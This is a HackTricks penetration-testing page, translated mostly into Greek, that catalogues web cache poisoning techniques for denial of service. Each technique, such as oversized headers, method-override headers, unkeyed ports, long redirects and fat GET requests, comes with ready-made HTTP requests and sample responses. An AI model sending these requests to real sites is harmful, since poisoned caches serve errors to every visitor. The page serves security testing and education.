8.4 KiB
Cache Poisoning to DoS
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% hint style="danger" %} Σε αυτή τη σελίδα μπορείτε να βρείτε διάφορες παραλλαγές για να προσπαθήσετε να κάνετε τον web server να απαντήσει με σφάλματα σε αιτήματα που είναι έγκυρα για τους cache servers {% endhint %}
- HTTP Header Oversize (HHO)
Στείλτε ένα αίτημα με μέγεθος κεφαλίδας μεγαλύτερο από αυτό που υποστηρίζει ο web server αλλά μικρότερο από αυτό που υποστηρίζει ο cache server. Ο web server θα απαντήσει με μια 400 απάντηση που μπορεί να αποθηκευτεί στην cache:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Unexpected values
Στείλτε μια κεφαλίδα που περιέχει μερικούς βλαβερούς μεταχαρακτήρες όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Ένας κακώς διαμορφωμένος τίτλος θα μπορούσε να είναι απλώς \:
ως τίτλος.
Αυτό θα μπορούσε επίσης να λειτουργήσει αν σταλούν απροσδόκητες τιμές, όπως μια απροσδόκητη Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
Ορισμένες ιστοσελίδες θα επιστρέψουν έναν κωδικό κατάστασης σφάλματος αν δουν ορισμένα συγκεκριμένα headers στην αίτηση όπως με το X-Amz-Website-Location-Redirect: someThing header:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
Αν ο διακομιστής υποστηρίζει την αλλαγή της μεθόδου HTTP με κεφαλίδες όπως X-HTTP-Method-Override
, X-HTTP-Method
ή X-Method-Override
. Είναι δυνατόν να ζητηθεί μια έγκυρη σελίδα αλλάζοντας τη μέθοδο έτσι ώστε ο διακομιστής να μην την υποστηρίζει, με αποτέλεσμα μια κακή απάντηση να αποθηκευτεί στην cache:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Unkeyed Port
Αν η θύρα στην κεφαλίδα Host αντικατοπτρίζεται στην απόκριση και δεν περιλαμβάνεται στο κλειδί της cache, είναι δυνατόν να την ανακατευθύνουμε σε μια μη χρησιμοποιούμενη θύρα:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην cache, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Κανονικοποίηση πεζών χαρακτήρων της κεφαλίδας host
Η κεφαλίδα host θα πρέπει να είναι ανεξάρτητη από την περίπτωση, αλλά ορισμένες ιστοσελίδες αναμένουν ότι θα είναι πεζά, επιστρέφοντας σφάλμα αν δεν είναι:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Κανονικοποίηση διαδρομής
Ορισμένες σελίδες θα επιστρέψουν κωδικούς σφάλματος στέλνοντας δεδομένα URLencode στη διαδρομή, ωστόσο, ο διακομιστής cache θα URLdecode τη διαδρομή και θα αποθηκεύσει την απόκριση για τη URLdecoded διαδρομή:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Ορισμένοι διακομιστές cache, όπως η Cloudflare, ή διακομιστές ιστού, σταματούν τα GET αιτήματα με σώμα, οπότε αυτό θα μπορούσε να εκμεταλλευτεί για να αποθηκεύσει μια μη έγκυρη απάντηση:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Αναφορές
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.